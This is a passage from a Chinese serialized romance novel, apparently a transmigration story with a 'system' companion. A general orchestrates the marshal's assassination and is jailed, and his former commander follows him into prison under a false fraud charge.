中央军部楼下,已有数辆飞行器停稳。
邵逾白刚下飞行器,就有人走来悄声道:“上将。”
“有多少人来了?”邵逾白问。
“第一军和第五军的副统领都到了,几个贵族家里也派了人来,”来人说,“还有几个在路上,您现在就要去见吗?”
邵逾白摇摇头:“不去。”
眼下正是最乱的时候,去了也问不出什么,还不如等一会儿,等都闹够了再去。
15. 风雨欲来
楼上的会面持续了很长时间,邵逾白没有参与其中。
在人类将足迹踏进宇宙的时代,纸质材料早已退出日常生活,但在某些涉及保密的基础草稿文件上,纸与笔的运用,仍然流行。
脚步声在外响起时,邵逾白刚从一摞整齐叠放的档案中抽出两本自己想要的。
升到他这个军衔以后,军部对他来说基本没有秘密,但从档案室建立到现在,邵逾白从没有机会来过,今晚还是第一次。
旧历一年联盟建立,到后面的护国战争,再到联合统一作战,密密麻麻的书架像翻不开的网格,藏住许多太阳底下见不到的秘密。
邵逾白在其中穿梭,偶尔挑出几份翻看,光脑悬在上方,提供冷白的光源,阴影铺在脚下,时间不知不觉就过了许久。
“你在干什么?”应付完其他人的穆锋进来问。
档案室内没有开全灯,只有两盏柔和的小灯在边角照着,昏暗光线下,穆锋脸上的那道疤格外明显狰狞。
他的眼睛小且细长,看人时总带着些狡猾的算计,只不过这点微末的刁滑,常常会被粗犷的声音和精壮的身材掩饰着,让人以为他就是个常年征战的武夫,没心眼。
而这样认为的人往往在穆锋手下讨不着一丁点好。
邵逾白将档案放回桌上,没正面回答,只是道:“写得很烂。”
他不曾明确讲出究竟是哪份档案不合他心意,但穆锋离得近,只随意撇了一眼封皮上的文字,就心知肚明。
“这些破烂东西,都是给以后的人看的,跟小说诗歌什么的没区别。”他随意走过去,捡起一本翻了翻又扔掉,“把战争描写的像史诗,有英雄有诗人有乞丐,当然也有死不足惜的叛徒,不都这样吗?”
他被自己的说法逗到,呵呵笑了两声。
然而邵逾白脸色仍然冷淡,没觉得哪里好笑。
刺耳的笑声中,他淡淡地说:“他不是叛徒。”
穆锋脸上的笑意倏地消失,面上显露出几分肃杀之气。他盯着邵逾白的眼睛,笃定开口:“你还在耿耿于怀。”
没有否认的必要,邵逾白:“是。”
他承认得坦然,仿佛他的存在便是要告诉联盟——有人没有忘记以前的事,而且永远不会忘。
穆锋的脸色一时间变得更难看。
“你这样,我很难放心把小怀交给你,”他说,“你心里装着个死人,装着一堆以前的破烂事。”
“你不是第一次知道我没忘,”邵逾白说,“穆怀也清楚,是他一定要掺和进来,跟我没关系。”
穆锋说:“那是因为他喜欢你!”
邵逾白闻言笑了,他不常这样,因此显得很讽刺。
笑完以后,他问:“你回来做什么?”
“别装的好像你不知道。”
“你当不上元帅。”邵逾白道,“现在离开中央星,回你该回的地方去,别惹火上身。”
说这话时,他的眼神很平静,并不是赌气或者嘲弄,他是真的这么认为。
也正因如此,侮辱性才更强,一阵无名火顿时涌到穆锋的脑子里。
“你以为你是谁?”他冷笑道,“邵逾白,别装的好像自己很聪明很大度,以为自己能看清一切,其实全天下你最虚伪。”
邵逾白:“……”
他继续质问:“你今天这个上将位子是怎么得来的?嗯?自己心里有数吗?”
穆锋用力攥紧拳头,眼中燃烧着愤怒和不甘。
十二年前的余逢春,十二年后的邵逾白。
联盟有过两轮太阳,哪一轮都不是他。
旁人可能不觉得有什么,但穆锋是一步一步爬到如今这个位置上的,他最清楚邵逾白的升衔速度有多快,势力累积有多恐怖。
如今似乎是他优势在手,但要是真是这样,那穆锋绝不可能让自己最小最疼爱的儿子和邵逾白接触。他不会给自己找这种不痛快。
说到底,这是场合作演戏,而邵逾白不想继续了。
为了谁?
还不是为了那个已经被炸成灰渣子的死人。
邵逾白甚至愿意为那个死人,冒险去坦尾星参加什么狗屁拍卖,就为了把那块存储器留在自己手里。
他做这些的时候没瞒人,穆锋听到时只觉得不可理喻。
可思及此处,他忽然笑了起来。
“你的喜欢就和你的人一样虚伪。”他说,语气中多了些许回忆。
“……你从前跟着余逢春,当他的狗的时候,就喜欢表面一套背后一套,哄着他亲自求人把你送出那活死人的战舰,让你上战场立功勋,现在也没变。”
嘲弄的话语中包含着几乎要满溢而出的恶意,穆锋像是终于找到了一座刀枪不侵的机甲上唯一的弱点,因此开始毫不留情的进攻。
“第七军是他一手建立起来的,要是他知道你把他曾经的旧部全部打散,编排去其他地方,有的甚至被再三降职或者干脆直接失踪,他会怎么想?嗯?”
穆锋脸上终于有了笑容,神情是报复的狂喜。
然而狂喜过后,穆锋却听到邵逾白淡淡地说:“他会理解我。”
撕破伪装带来的快感一瞬间消失殆尽,穆锋死死瞪着站在桌前的邵逾白,看他神色冷静自然地整理好桌上散乱的档案,指尖似有似无地在余逢春的名字上流连,好像真的有多少不舍。
这一刻,穆锋意识到他是认真的,邵逾白真的这么想。
“……”
或许六年时间终于把他折磨疯了,又或许说余逢春身上有什么不对劲的东西,通过接触或者眼神传染,把人扭曲到自己这边。
穆锋这次真的觉得恶心了,他后退两步,恍惚间仿佛看到早该死透的余逢春就坐在邵逾白手边,模样如旧,正低头玩着那几本破档案。
他也觉得档案记载可笑,翻了几张就扔在地上,邵逾白半跪下去整理,而余逢春抬起头,隔着不能再漫长的距离,和穆锋对上目光。
“你当不了元帅。”余逢春嘴里吐出与邵逾白一样的话,眉眼在漆黑夜色下,仍然有将死一般的艳丽。
莞尔一笑间,恍若穆锋的梦魇。
*
*
*
余逢春从睡梦中睁开眼,仿若在一团泥泞中挣脱,浑身颤抖,呼吸急促,缓了好一阵子才恢复冷静。
瞪着头顶泛着微光的天花板,他问0166:“几点了?”
0166还在调取档案并加以整理,因此回答很快:[凌晨3点。]
余逢春深吸一口气,半晌后笃定道:“他不在这里。”
[邵逾白两小时前离开了云阙。]
“为什么?”
[穆锋回来了。]
“……”
穆锋本该在外驻军,这时候回来,只可能为一件事。
余逢春掀开被子,赤脚走过地毯上,停在窗前。
楼下就是邵逾白亲自照料的花房。
夜色中,再美的花朵枝叶也被晕染成深浅不一的暗色,余逢春靠在窗边,心跳仍然不稳,仿佛有某种值得他慌乱的事情正在悄然发生。
顺手推开窗户,夜风涌进,裹来楼下的香气。
余逢春闭上眼睛,额头抵在冰凉的玻璃上,心里默默计量着什么,一室寂静,连呼吸声都几不可闻。
片刻后,他开口问道:“统计怎么样了?”
[只有25%左右。]0166回答,[预计还需要10小时。]
“我加钱。”余逢春说,“我想在十分钟以后看到统计报告。”
[你真的很急。]0166说。
余逢春不是那种喜欢花钱买家加急或者额外服务的人,一般只要能等他都会等。而一旦他开始喊加急,那事态绝对已经相当严重了。
余逢春仰起头,揉了揉已经冰凉的额间。
“我不知道。”他说。“但我感觉很不对劲。”
任务世界坍塌,一定跟主角有脱不开的关系。这是基本的原则定律,是绝不可能违背的。
可来到这个世界这么多天,余逢春始终没想明白邵逾白到底哪里不对劲——是,这人是有点神经质,但他以前就这样,不能算是问题。
余逢春本想慢慢来,可今天晚上真的太难受了,仿佛某种灵感被不停戳刺,逼得余逢春不能再等下去。
从他的旧部查起是很好的开始。
0166不再多言,自动投入加急程序,一时间无数如乱流一般的信息在余逢春眼前飞速划过,又被逐一整理,汇聚成条条细流。
余逢春坐下等了一会儿,很无聊,拿起光脑,看到一堆乱七八糟的信息,穆怀一个人就发了十条,邀请他出门吃饭,用词很文雅,但又透着急不可耐。
余逢春像之前一样假装没看见,点击删除。
十分钟后,在
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余逢春下楼找酒喝的空隙里,0166再度开口:[完成了。]
伴随话音落下,一份紧急整理统计出的报告书,呈现在余逢春眼前。
仅从报告书上看,余逢春曾经的旧部被彻底打散,不光有类似卡戎这样的被编入各大要塞,还有一些分散着编进了其他几军,有的升衔,有的却被降职,一整个四分五裂。
邵逾白好像真的很恨他。
余逢春盘腿坐在沙发上,披着那条天蓝色的毯子,一手拿酒杯,另一只手翻报告书,抽空和0166分享感受。
银白的亮光照在他脸上,他低声道:“我当时把第七军交给他的时候,可没想到会这样。”
旧历时,第七军一直归余逢春统领,即便是获罪以后。
当时他被困在指挥舰上,像只脖子上拴着项圈的猴子,哪里都去不了,邵逾白和第七军也跟着他一起倒霉,余逢春不太能接受。
在这样一个世界,主角本身就应该上场杀敌建功立业,加上邵逾白是个很好的人,迟早有一天会出头。余逢春想着与其让别人把好卖出去,还不如自己来。
于是经过多方协商会谈,邵逾白从余逢春手里接过了第七军的实际领导权,一直到今天。
[他或许有不得已的苦衷。]0166看不得余逢春伤心,昧着良心安慰,[你知道的,被逼迫,或者怎么样……]
余逢春摘出单独一页。
“被迫把卡戎安排进三大军事要塞之一就算了,他还被迫给我的旧部降职,然后安排到这个鬼地方?”
0166看过去,发现余逢春指的是报告书中唯一被无故降职的下属。
宋柯,曾经的第七军中校,如今正在一座军事枢纽中担任普通的管理员,比起之前的中校军衔,已落魄许多。
[有什么问题?]0166问。
余逢春弹弹屏幕,喝干净,最后一口酒躺到沙发上。
“这个位置很有意思。”他思索着说,“如果我想在短时间内快速控制中央星,切断它与外界交流的通道,那么我一定会派人去占领这座军事枢纽。”
而后,余逢春又道:“……并且比这个枢纽更有意思的是宋柯的职位。”
狂风固然可以撼树,但在某些至关重要的时刻,细小的蝼蚁或许可以成为决定战局的关键。
宋柯虽然只是一个普通的管理员,但他手里掌握着最直接的权利。如果他愿意,他可以在最短时间内以最快的方式控制这座重型火力枢纽。
而他并不是整本报告书中的个例。
所有、所有没有被彻底驱逐出军部的第七军旧部,都是这个样子。
表面上看是被打压分散,但实际上却如同一张密密麻麻的网,彻底将中央星附近的军事系统笼罩。
余逢春觉得如果把这种特殊现象称之为简单的报复或者心怀怨恨,会显得他太愚蠢。
0166:[……]
余逢春也沉默下去。
片刻后,他打破沉默,斟酌着问:“如果邵逾白真想造反,那他有多大的概率能成功?”
这种简单的计算基本不需要花费时间,0166快速回答:[75%]
恐怖的数字。
[另外,我要纠正你一下。]0166说。
余逢春诧异挑眉:“什么?”
[按照这个成功概率来推算,你不该将其称为造反,]0166说,[这会是一场起义。]
余逢春叹了口气。
昨天他还劝邵逾白该争就争,不当元帅的将军不是好将军,结果今天就发现邵逾白要是想当元帅,直接手到擒来,连眼珠子都不用转一下。
“他要是真当了元帅,世界会崩塌吗?”余逢春问。
[不会。只要他不做出危害这个世界运转规律之类的大事,例如再次发动战争等,就不会有问题。]
余逢春点点头,明白了。
他半夜起床,光脚跑到楼下,喝了半杯酒后躺在沙发上,现在已经觉得有点冷了。
余逢春调整了一下抱枕的高度,盖好毯子,准备在这儿对付一夜。
于是第二天清晨,邵逾白回到云阙,刚进门就看到了在沙发上睡成一团的余逢春。
笑意如春日新生的枝芽一般爬上嘴角。
好乖。
“开始吧。”
他偏过头,吩咐身后。
不想再等了。
16. 爱他就要陪他蹲监狱
余逢春睡到闻见香味,才睁开眼。
“回来了?”
他趴在沙发上,睡眼朦胧,一边打哈欠一边问。
没人回答,小机器人顶着刚摘下来的花环和热毛巾来到他面前,脑袋上的□□一闪一闪。
余逢春盘腿坐在沙发上,盯着花环看了一会儿,摇摇头表示无声拒绝,然后拿毛巾擦脸。
困倦的精神终于有了些许好转,余逢春埋在毛巾里不想动弹,可小机器人却对他的拒绝很不满意,眼瞅着人一直不抬头,高度又刚刚好,小机器人二话没说便用机械臂举起花环,偷偷摸摸、轻而又轻地放在了余逢春头顶。
于是邵逾白刚换完衣服走下楼梯,就看到昔日那位杀伐决断、刻薄刁钻的指挥官披着毯子顶着花环,跟没睡醒似的用毛巾捂脸,比昨天晚上还可爱。
平稳的步伐有了片刻停顿,余逢春听出区别,面无表情地抬眼瞅他:“什么时候回来的?”
柔软细腻的花瓣让刻薄的表情都多了几分难言的可爱,邵逾白平复心神,走下楼梯,拍拍小机器人的脑袋,让它把早饭端过来。
“你睡着没多久。”他回答,“怎么在沙发上睡?”
余逢春靠在靠背上,把花环摘下来,拿在手里把玩,认出里面好几种,都在邵逾白的花房里见过。
“你半夜突然走了,我不太舒服。”他说。
“……”
这话意思不清不楚,好像在撒娇,又好像只是单纯的质问,邵逾白沉默片刻,选择实话实说:“穆锋回来了。”
“嗯哼?”
“只是去和他见了一面,聊了几句。”
“去了那么久?”
邵逾白继续解释:“想见他的人很多。”
“……”
余逢春不说话了,只掀起眼皮来来回回上上下下地打量他,好像在衡量他话里有几句真几句假。
邵逾白坦然接受他的审视,甚至有空把早餐摆好,然后拿来新的拖鞋放在余逢春脚边。
0166大概率写小说把脑子写坏了,但至少有一点它没说错:邵逾白很擅长伺候余逢春,而且他非常喜欢这么做。
当一个空间里只有他和余逢春两个人时,邵逾白一般只做三件事:做饭,看余逢春在干什么,在余逢春需要他的时候迅速过去。
……看在拖鞋和早餐的面子上,余逢春将昨晚的种种蹊跷轻轻放过,起身去吃早餐。
吃完饭以后,他绕着一层那个占了大半面墙的巨大光屏观察。
“它能打开吗?”余逢春问。
作为一个在指挥舰里操纵价值超过百亿的全息控制映射器的指挥官,余逢春问出这个问题的时候,同样很有些难以用言语具体阐述的讨喜。
邵逾白倚在桌子边,默默看着他研究开关和控制,眸色柔和。
“可以,”他说,“光屏是这栋房子自带的,我没打开过。”
余逢春点点头,找到开关,打开了这张从有人住进来开始,便从未被启动过的光屏。
画面构建中,信息加载并不完善,一个眼眸中闪着泪光的女人在屏幕上缓缓浮现。
没有声音响起,大概是因为需要光脑的身份信息登录验证。
余逢春没用过这种单纯娱乐的东西,在脑子里和0166交流研究,中间还抽出几分心神,关注到邵逾白今天没去军部。
“你怎么还不走?”他背对着邵逾白,一边调试机器,一边漫不经心地问,“有人放你假了?”
“没有。”
“那是为什么?”
余逢春站起身,在光屏上,用自己的新光脑进行身份验证。
一个小小的绿色对勾印在女人鲜红的眼角上,蓝色的小圆圈开始重新加载。
光屏首先显示出来的是个新闻节目,余逢春听不见声音,加上画面加载不完全,他很难想象究竟发生了什么事,能让由数据构建的虚拟主持人伤心成这样。
而就在这时,邵逾白开口了。
“因为我想把剩下的时间,用在更有意义的事情上面,而且……”
仿佛说些情话在他看来是很值得羞怯的,他停顿了一秒钟,才说下去:“而且我有点想见你。”
余逢春愣愣地点头:“……哦。”
他转过头去,眉毛皱紧。
明明是轻松的话语,细想却发现里面却蕴含了太多的噩兆。
自昨夜开始便萦绕在心头,迟迟不肯散去的预感卷土重来,比之前更深更重,余逢春脸上放松的神情被悉数打碎,他转头看向那个仍旧一脸闲适的人。
“你是不是干了什么?”
邵逾白不答,只是看着他,倏而笑了一下,如同肯定了余逢春所有不好的猜测。
脚步声窸窸窣窣响起,门外忽然传来急促且戒备的敲门声,0166也在余逢春脑子里实时通报:[这里被包围了。]
与此同时,加载成功的光屏终于播出了它的第一句话:“……元帅于昨夜凌晨遭人刺杀,现已抢救无效死亡。”
也是最后一句。
控制器被人用力砸在光屏表面,蔓延出来的裂痕并不足以影响光屏的正常运转,反而是不经意泄出的精神力,让这台机器彻底报废。
“你干的……?”
余逢春颤抖着伸出手,指着一片漆黑的蛛网问道。
两人都知道他在说什么。
没有否认的必要,邵逾白点点头。
余逢春不可置信:“为什么?”
他真的不明白。
“我不能回答你这个问题。”邵逾白说,语气仍然温柔,看向余逢春的神情和过去没有分别。
“你不需要知道这些。”
门外的敲门声愈来愈急促,有更多嘈杂的声音响起,这意味着云阙已经被彻底包围,他们两个是笼中困兽。
余逢春说:“没有任何事是我不需要知道的。”
他说得很认真,而邵逾白也听得很明白。
可他仍然选择避而不谈。
“我的资产并非都存在我的个人账户上,其他地方也有一部分,只有你能打开。”邵逾白说,“你可以拿着它们去任何你想去的地方,做任何你想做的事。”
这话像是在交代后事,当然了,如果一个人能疯到毫不掩饰地谋杀元帅,那交代后事已经是他能做的最正常的事情了。
只是余逢春不理解。
明明一切可以有更好的解决方法,明明……
邵逾白望着余逢春,有那么一瞬间,他向前迈动半步,仿佛想要伸手触碰一下余逢春的脸颊。
可踌躇半晌,两人对视间,他唯一做的就是退后,然后打开了门。
*
*
*
邵逾白在云阙被捕的第三天,星网上有关第七军以及任何与“邵”有关的字眼全部消失,一切回归到最风平浪静的时候,暗潮在底下涌动。
余逢春在沙发上躺了三天,吃了两顿饭,基本没睡。
伸完懒腰重新躺回沙发上,余逢春忍不住道:“他是不是有病?”
0166已经麻木了:[第725次。]
“他肯定有病。”
[第648次。]
“……你能别数这种无聊的东西了吗?”
[你能站起来吗?]
“不要,我还想再颓废一会儿。”余逢春果断拒绝,换了个姿势继续躺着,“联盟的判决下来了吗?”
[没有,只有暂时的。]
“怎么说?”
[邵逾白指使手下刺杀元帅的证据链并不完全充足,联盟虽然很想尽快解决这件事,但碍于他身后的势力影响,只能慢慢查。]
“所以?”
[所以邵逾白被暂时收监到了环陇监狱,]0166终于有点兴奋了,[有没有劫狱计划什么的?]
“劫狱?”
[对,你去劫狱,把他救出来,然后你们浪迹天涯。又或者你们会在逃跑途中死一个疯一个之类的……]
余逢春:“……你真的不能再看小说了,也不要再写了。”
[说真的,你准备怎么做?]0166顾左右而言其他,[主角要是在这个关头死掉的话,那我们之前的所有努力都白费了。]
余逢春疑惑:“你之前还要求我把他杀掉,怎么现在死了就不行了?”
0166耐心解释:[之前杀,是因为主角与世界的融合度很低,死了也不会有什么影响,但现在他已和世界死死连在一起,他死了,世界也会崩溃。]
“太糟糕了。”
[你完全不是真心的。]
余逢春为自己辩解:“还是有那么一点的吧。”
0166不想理会这个满口谎言的骗子:[所以你不担心主角吗?他可能会被判处死刑。]
余逢春:“不是很担心。”
[为什么?]
还能为什么?虽然余逢春气急败坏之下总是说邵逾白有病,但邵逾白是不是真的有病,他还能不清楚吗?
按照如今的形势看,元帅一死,无论走正路还是邪路,邵逾白都是最有可能上位的,即便他被逮捕收监,他手下的势力也没有暴露,因此他仍然有非常大的机会翻盘。
他把这些讲给0166听。
0166懂了,但它不理解的点是邵逾白为什么一定要把自己送进监狱。
对于整盘计划而言,显得有点儿太多余了。
而关于这个问题,答案其实也显而易见。
“他可能有点太没安全感了。”余逢春说,他靠在抱枕上,慢吞吞地拍着小机器人的脑袋。“我之前一直没发现。”
[什么意思?]
“我的死可能吓着他了。”余逢春斟酌着说。
0166有点明白了:[但按照他的势力分布来看,无论你去哪里,只要他想,他随时可以把你带回来。]
是啊,这就是问题所在,邵逾白没有真心想放他走。
或许邵逾白真的被十余年的痴心妄想和六年的心如死灰逼疯了,一朝失而复得,只能勉强维持人的样子。
如果余逢春离开,那正好合了他的意,彼此都不用装了,邵逾白可以心安理得地把人囚困在自己身边,不必再惶惶不安。
那些软弱的试探、卑微的祈求,都只是隐藏在疯狂上的
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一层面具,薄且脆弱,轻轻一扯就会碎开,到时候暴露在他们面前的,会是更赤裸的欲求。
好在余逢春压根没想过走。
所以问题解决。
思及此处,余逢春坐起身,下了决定。
“我要进环陇监狱。”
*
*
*
轨道运转交接,一批新的囚犯被送上交接口。
负责接收的狱警整理好名单,依照顺序挨个清点,沉重的锁链扣地声在不大的空间里响起,将本就肃静的空气更衬得冰凉。
夜晚接收囚犯,是件既无聊又烦躁的差事,偏偏因为最近环陇监狱接收了位大人物,以至于每个环节都要加强戒备,连偷懒都没地方。
“……跟着这条直线走,但凡偏了一步,你就可以去死了。”
确认好名单上的第七个囚犯,狱警撇撇嘴,百无聊赖地向后翻了一页,等待着下一个人。
又是一阵叮当的清脆响声,狱警翻看到囚犯的身份信息,抬起头来,看到一张同名单上一致的清秀面庞。
“江秋?”
来人身量清瘦,闻言很腼腆地应了一声,细软的头发挡在额前,露出一双明亮的黑色眼眸。
比档案上更漂亮。
狱警低下头:“罪名是……信息诈骗?”
江秋点头:“是的。”
狱警哼笑一声,在一堆又杀又打的罪名里看到这么“文雅”的一条,很难得。
例行检查完以后,狱警给他指路,顺便威胁了几句。
江秋走进下一个环节。
一旁监督的同事晃过来,嘴里嚼着口香糖:“长得还挺好看的。”
“可不是吗,”狱警说,“没点真本事可要倒霉了,里面喜欢这口的不少。”
同事耸耸肩:“也不一定怎么样,最近管得严。”
“那确实,祝他好运吧。”
狱警点点头,照旧将江秋的档案上传进监狱信息网。
……
走完全部流程以后,时间已到接近清晨。
余逢春感觉自己要困死了,抱着监狱统一派发的换洗衣服和日常用具,一路拖拽着被带到一处囚室门口。
“071264,以后这就是你的囚室。”
狱警站在门口说,若有所思地打量着余逢春露出来的的手腕脚踝。“保护好自己。”
余逢春:“……”
他被推进囚室,迎面撞上五双打量的视线。
信息诈骗的罪名虽然够判刑,但和其他的杀人抢劫比起来还是轻了点儿,以至于余逢春只能分配到最低等的六人囚室。
而且他来的最晚,床位最糟。
空气里弥漫着一股难以言喻的腐臭气味,余逢春默默带着床单衣物等来到自己的床位前,没有费劲收拾,直接躺在了床板上。
因为现在是深夜时分,囚室内不允许传来额外噪音,所以其余五人只是默默打量,没有任何动作。
“真不敢相信我要住在这种破地方。”他和0166抱怨。
[我说过我尽力了,]0166不耐烦地应对,[你想住单人囚室,那就得有足够的罪名,而严重到要住单人囚室的罪名,你都通不过审查,所以认命吧!]
余逢春叹了口气,闭上眼睛,尝试入睡。
但没过一会儿,他又开口:“我明天是不是要打架?”
[按照这几个看你的眼神,有可能。]0166说,[而且我注意到有几个狱警也提前对你表示了同情。]
余逢春:……
“谢谢。”
他再次闭上眼睛。
然而这次的安静也没能保持太久。
忽然有狱警在外面用力敲击栏杆,喊余逢春的号码:“071264!”
余逢春睁开眼,顶着无数目光走到门口。
“收拾好你的东西,跟我走。”狱警说。
怎么了?
余逢春没明白怎么回事,但能离开这个破地方,无论如何都不算坏。
于是他干脆点头,回去抱好那堆压根没拆开的东西,跟着狱警离开了囚室。
往上,再往上。
最后,余逢春被带到了一处单人囚室门口。
狱警说:“以后你住这里。”
“什么?”
余逢春现在刚才还被0166宣布不可能的单人囚室前,很谨慎地提醒道,“我只是信息诈骗,并没有杀过人……”
“我知道,”狱警点头,没有不耐烦,再次重复道,“你以后就住在这儿。”
“……哦。”
余逢春走进去。
狱警锁上门,临要走时,他想起什么,又看向余逢春:“有问题记得开口。”
余逢春眨眨眼,坐在明显被紧急打扫过的床板上。
“……好的。”
狱警走了,走廊重新恢复寂静,房间里空气清新。
余逢春躺下,笑得很爽。
“刚才谁说我住不上单人的?”他故意问。
0166屈辱地待机下线,心里骂骂咧咧。
邵逾白你真是个不值钱的。
17. 监狱生活
监狱作息当然和正常生活不同,余逢春感觉刚闭眼没多久,就被刺耳的起床号叫醒。
“这就是为什么我当时一定要上战场。”余逢春垂死挣扎,把头蒙在被子里跟0166说,“他们关着我的时候,天天定点叫我早起。”
[剥夺休息时间也是惩罚的一部分,可以消磨人的意志。]0166说,[邵逾白本来也有惩罚你的责任在。]
但可惜余逢春不好拿捏,从来没有别人喊一声他就马上坐起来的时候,邵逾白得在他床前三番五次的喊、三番五次的请,才能勉强把一只脑门冒黑烟的指挥官拽下床,并且在接下来的一整天里获得喋喋不休的抱怨。
在他的长期抗争下,邵逾白很快就放弃职责,开始在能让余逢春多睡的时候不去打扰。
睡饱的余逢春心情会变好,对邵逾白也从一开始的各种挑毛病不顺眼到“这人好像还行”,两个人的关系有所升温。
0166从未真正考虑过邵逾白的便宜属性是何时形成,今天回忆一番,发现原来很早之前就已经显露出了端倪,让统心惊。
对待监狱中那些未必穷凶极恶的囚犯,狱方的管理态度是尽量消耗体力,于是在起床洗漱点名之后,余逢春跟其他一行人一起领了两块面包当早饭,然后就带到了监狱工厂内。
环陇监狱主要负责的是一部分轻型机甲基础零件的模制和质量检测,很好上手,但过程枯燥乏味,一个动作要重复上百遍。
余逢春抱着发下来的工具,在一个老手面前学了五遍,就被狱警带到摆在最后的一张工作台前,要他开始今天上午的工作。
“你是新手,工作指标按最低的那一栏来,”狱警嘱咐道,“中午之前得完成,不然没你的饭吃。”
顺着他的话,余逢春瞅了一眼挂在墙上的工作指标,发现即使是最低的那一栏,一上午也有几百个。
“长官!”
他连忙拉住说完话就要走的狱警。
他又不是真来这儿服刑认罪的,当务之急是要找到邵逾白,其他什么基础零件的都可以等一等。
被一个初来乍到的犯人拉住,狱警也没生气,停下脚步问道:“什么事?”
“我们在这儿工作,那罪名重一点的呢?”余逢春也没遮掩,直接问,“□□呀或者别的什么……”
他问得很直接,就差指名道姓说他要找邵逾白了。
而狱警也果然没有显露出太多的意外,四下观察完,确定没有人注意这边以后,他抽回手,警告道:“这不是你该打听的。”
狱警的表情很严肃,“好好干你的活!”
说罢,他便快速离开了。
余逢春坐回工作台前,把工具安装好。
0166:[邵逾白不想见你。]
“也有可能是狱警不知道。”余逢春说,给自己找面子。
[怎么可能。]
“怎么不可能?”余逢春学着旁边工友的步骤操作,“给我放集洗碗海绵看。”
[那不叫洗碗海绵。]
“差不多,快放快放!”
0166没办法,无聊的余逢春能烦死系统,更何况是在这种憋屈的环境里。
为防止自己数据崩溃提前返厂,0166只能老老实实地找出上次没看完的海绵宝宝,在面前投屏放了起来。
而事实证明,当有一件格外有趣的事物在眼前转移注意力的时候,人手下的动作会变慢,甚至无心工作。
一上午很快过去。
余逢春坐在工作台前,不可置信地盯着隔壁桌那高似小山的零件,和他的一对比,自己这点儿连丘陵都算不上。
“这对吗?这不对吧?”
余逢春细数一番,发现洗碗海绵真是害人,还差一百多个才到指标。
[早说了你不要整天看动画片!]0166抓住机会数落他,[看到了吧?玩物丧志!]
余逢春撇嘴,不接受数落:“看来咱们俩今天中午不用吃饭了。”
0166:[……]
谁跟你俩?中午不用吃饭的只有你一个。
于是一人一统开始心如死灰地等着狱警计数。
计数方式是从前往后,先计完的人从后门离开,站在廊外等候。
余逢春排在最后,默默听着前面一个赛一个多的零件量,一想到等会儿成百上千的计数里面出现一个几十,心里就非常羞涩。
“你可以不要录像吗?”他软声软气地和0166商量,“别把它上传到系统空间,可以吗?”
0166心里其实是非常硬气的,知道余逢春和它说软话是别有用心,但实在是很少听到这混账这么说话,一时间得意忘形,拿捏着哼唧几声,同意了。
交谈间,又一个成果丰硕的囚犯向后走去。
路过余逢春的工作台时,像是被什么东西绊住了脚,囚犯忽然踉跄了一下,倒在地上。
一阵很细微的哗啦声在耳边响起,余逢春愣在工作台前,眼睁睁看着自己的小丘陵变成了小山坡。
送完今日工作指标的囚犯深藏功与名,动作缓慢地站起身,接受完狱警二次搜身后走出后门。
“……看来今天中午有饭吃了。”余逢春瞧这小山坡慢慢说。
[……]
0166重新打开录像。
——然而他俩还是高兴太早了。
按照余逢春的说法,食堂今天中午的饭是菜叶子汤、干得好像可以砸死人的大面包,和莫名的红黄混合物。
“我觉得我好像闯进了某种谋杀现场。”余逢春看着餐盘里的食物,“这里到处都是死不瞑目的尸体。”
0166非常麻木,希望能有个人让他闭嘴。
余逢春排进队伍:“但是再不吃东西我要晕倒了。”
所以就算这滩红黄混合物里混着异族的尸体,他也必须得咽下去。
舀饭勺和餐盘发出的碰撞声相当刺耳,余逢春控制不住地瞅着机器接口处的油污擦痕,脑子里一遍遍地回旋过曾经在战场上见过的各种脏东西。
真是好日子过久了,稍微过点苦日子都受不了。
说到底都是邵逾白的错。
离打饭机器越近,那股好像死了什么东西的气味就越浓烈。
0166察觉出余逢春的不对劲:[求求你千万别吐出来。]
余逢春迅速反驳:“我怎么可能吐出来?”
0166列举事实:[天杀的你四天只睡了不到八个小时,吃了两顿饭,我怕你吐完直接就昏过去。]
余逢春断然否认:“不会的,绝对不可能。”
前排的囚犯都端着餐盘离开,终于要轮到余逢春了,他走上前去,把餐盘放在打饭机器下面。
守候在一旁的狱警听见哐当一声,不耐烦地抬起眼皮,刚想训斥,眼神就落在余逢春的侧脸上。
“071264?”
余逢春点头:“是。”
狱警的眼神有些奇怪,打量余逢春就好像他是什么奇异物种。
余逢春还沉浸在啃异族尸体的噩耗中,任由他打量。
确定完余逢春的身份以后。狱警和在不远处巡逻的同事对视一眼,低声道:“跟我过来。”
说完,他便转身,朝着拐角走去。
余逢春不明所以,但愣在那里不动就太显眼了,于是迅速跟上去。
没走几步路,狱警就把他带到一间工作人员专用的休息室里,
等余逢春一进去,狱警便关上房门,不理会他询问的眼神,自顾自地走到桌前,在一处保温箱里拿出一个沉甸甸的饭盒,放在桌子上。
“你在这儿吃,”他对余逢春说,“吃完以后饭盒留下,自己出去就行。”
余逢春:“……我不用和他们一起吃吗?”
狱警:“不用,你吃完再出去。”
说完,不给余逢春任何提问的机会,狱警迅速离开,临走还合上房门。
休息室里重归安静。
余逢春眨眨眼,对今天发生的怪事已经见怪不怪,慢悠悠地伸了个懒腰,坐在桌前打开饭盒。
饭盒里米粒晶莹剔透,菜色新鲜、香气扑鼻,做了很多,味道很熟悉。
某人死活不肯露面,做饭倒是亲自下厨。
如果麻木不能概括0166的状态,那不值钱也不能形容邵逾白。
余逢春很满意地在安静、舒适、温度适宜的小房间里吃完了午饭。
……
午餐过后,有一小段的放风时间。
囚犯可以在一片有专门开辟出的、有巡逻队来回巡查的空地里溜达运动,全是一天难得的放松时间。
午后刮起了一阵风,人造光源仍然温暖,余逢春顶着光找到一处背风的角落,盘腿坐下,思索怎么才能找到邵逾白。
他自以为隐蔽又不引人注目,殊不知在一湾波澜不起的污水潭中,一泼清凉白水的出现,本身就特别。
有很多眼神在暗处打量,从他的发丝一直看到指尖。
余逢春的脸也许算不上摄人心神,但他肤色极白,偶然露出的手腕脚踝很精致,身材劲瘦有力,很修长,在一片灰蒙蒙的景色里,格外亮眼。
且他行走间,有种常人身上不多见的自然舒展,仿佛不曾畏惧过什么东西,那是需要多年的胸有成算才能慢慢养出来的气质,看
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着让人心里痒痒。
这样的气质,从前监狱里并非没有,但往往没过多久就会被消磨,因此要尽早品尝。
一众蠢蠢欲动,其实也是各个势力之间的角逐,直到终于有人按耐不住,抢先站了起来。
一道阴影挡在琢磨事的余逢春面前,接着是呛人的烟味,相当扰乱思考。
余逢春抬起头来:“什么事?”
黑亮的眼眸因仰视的角度显得更润,寡淡的面容也因此多了几分惊艳。
来人露出一个相当油腻的笑,在余逢春面前蹲下。
